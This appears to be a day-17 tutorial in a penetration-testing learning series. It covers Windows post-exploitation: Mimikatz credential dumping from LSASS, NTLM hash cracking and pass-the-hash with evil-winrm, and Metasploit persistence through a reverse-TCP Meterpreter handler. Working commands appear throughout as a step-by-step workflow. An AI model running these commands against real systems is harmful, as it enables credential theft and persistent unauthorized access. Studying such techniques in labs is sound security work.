Day 17 – Dumping Hashes & Maintaining Persistence

# 🔹 Mimikatz – What is it?

Mimikatz is a post-exploitation tool developed by Benjamin Delpy.  
It is widely used for:  
- Extracting plaintext passwords, hashes, PINs, and Kerberos tickets from memory.  
- Performing pass-the-hash, pass-the-ticket, and Golden Ticket attacks.  
- Gaining persistence inside Windows environments.

# 🔹 How Mimikatz Dumps Passwords

Windows stores login information in memory via the LSASS (Local Security Authority Subsystem Service) process.  
Mimikatz interacts with LSASS to extract credentials:  
- Plaintext passwords  
- NTLM hashes  
- Kerberos tickets

Example commands:

* privilege::debug
* sekurlsa::logonpasswords

# 🔹 What is NTLM?

NTLM (NT LAN Manager) is a Microsoft authentication protocol.  
It uses a challenge-response mechanism and stores password hashes.  
The NTLM hash is a one-way hash representation of the password.  
  
Attackers can:  
- Crack hashes using tools/sites like hashcat, john the ripper, crackstation.net.  
- Use Pass-the-Hash (PtH) attacks to authenticate using hashes without knowing the plaintext password.

# 🔹 Using Mimikatz

Steps after compromise:

1. 1. Run Mimikatz on the target system.
2. 2. Check privileges:

privilege::debug

1. 3. Dump credentials:

sekurlsa::logonpasswords

# 🔹 Relaying Hashes (Evil-WinRM Example)

If you extract a valid NTLM hash, you can authenticate remotely without the password.

Example:

evil-winrm -i <target\_ip> -u <username> -H <NTLM\_hash>

# 🔹 Persistence After Reboot

Once the machine restarts, your session dies. To maintain persistence:

background

sessions -l

sessions -i <number>

# 🔹 Persistence with Metasploit

Metasploit provides modules to maintain persistence:

use exploit/windows/local/persistence

set SESSION <session\_id>

set LPORT 4444

set LHOST <your\_ip>

exploit

# 🔹 Maintaining Access After Restart

1. 1. Multihandler setup:

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse\_tcp

set LHOST <your\_ip>

set LPORT 4444

exploit

2. After the victim restarts, the persistence payload reconnects back, and you regain a Meterpreter session.

# 🔹 Summary Workflow

1. Compromise target & upload Mimikatz.  
2. Use sekurlsa::logonpasswords to dump credentials.  
3. Crack or relay NTLM hashes (Evil-WinRM).  
4. Background session (sessions -l, sessions -i).  
5. Use persistence module (exploit/windows/local/persistence).  
6. Set up a multi-handler listener.  
7. After restart, regain session automatically.